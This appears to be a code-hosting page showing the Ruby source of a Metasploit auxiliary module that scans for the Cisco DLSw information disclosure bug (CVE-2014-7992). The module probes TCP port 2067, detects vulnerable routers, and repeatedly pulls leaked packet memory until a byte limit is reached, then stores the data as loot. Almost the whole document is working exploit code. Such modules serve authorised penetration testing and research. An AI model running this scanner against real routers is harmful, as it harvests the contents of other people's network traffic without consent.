Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'socket'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::Tcp9include Msf::Auxiliary::Scanner10include Msf::Auxiliary::Report1112def initialize13super(14'Name' => 'Cisco DLSw Information Disclosure Scanner',15'Description' => %q(16This module implements the DLSw information disclosure retrieval. There17is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains18that allows an unauthenticated remote attacker to retrieve the partial19contents of packets traversing a Cisco router with DLSw configured20and active.21),22'Author' => [23'Tate Hansen', # Vulnerability discovery24'John McLeod', # Vulnerability discovery25'Kyle Rainey' # Built lab to recreate vulnerability and help test26],27'References' =>28[29['CVE', '2014-7992'],30['URL', 'https://github.com/tt5555/dlsw_exploit']31],32'DisclosureDate' => 'Nov 17 2014',33'License' => MSF_LICENSE34)3536register_options(37[38Opt::RPORT(2067),39OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024])40])41end4243def get_response(size = 72)44connect45response = sock.get_once(size)46disconnect47response48end4950# Called when using check51def check_host(_ip)52print_status("Checking for DLSw information disclosure (CVE-2014-7992)")53response = get_response5455if response.blank?56vprint_status("No response")57Exploit::CheckCode::Safe58elsif response[0..1] == "\x31\x48" || response[0..1] == "\x32\x48"59vprint_good("Detected DLSw protocol")60report_service(61host: rhost,62port: rport,63proto: 'tcp',64name: 'dlsw'65)66# TODO: check that response has something that truly indicates it is vulnerable67# and not simply that it responded68unless response[18..72].scan(/\x00/).length == 5469print_good("Vulnerable to DLSw information disclosure; leaked #{response.length} bytes")70report_vuln(71host: rhost,72port: rport,73name: name,74refs: references,75info: "Module #{fullname} collected #{response.length} bytes"76)77Exploit::CheckCode::Vulnerable78end79else80vprint_status("#{response.size}-byte response didn't contain any leaked data")81Exploit::CheckCode::Safe82end83end8485# Main method86def run_host(ip)87return unless check_host(ip) == Exploit::CheckCode::Vulnerable8889dlsw_data = ''90until dlsw_data.length > datastore['LEAK_AMOUNT']91response = get_response92dlsw_data << response[18..72] unless response.blank?93end94loot_and_report(dlsw_data)95end9697def loot_and_report(dlsw_leak)98path = store_loot(99'dlsw.packet.contents',100'application/octet-stream',101rhost,102dlsw_leak,103'DLSw_leaked_data',104'DLSw packet memory leak'105)106print_status("DLSw leaked data stored in #{path}")107end108end109110111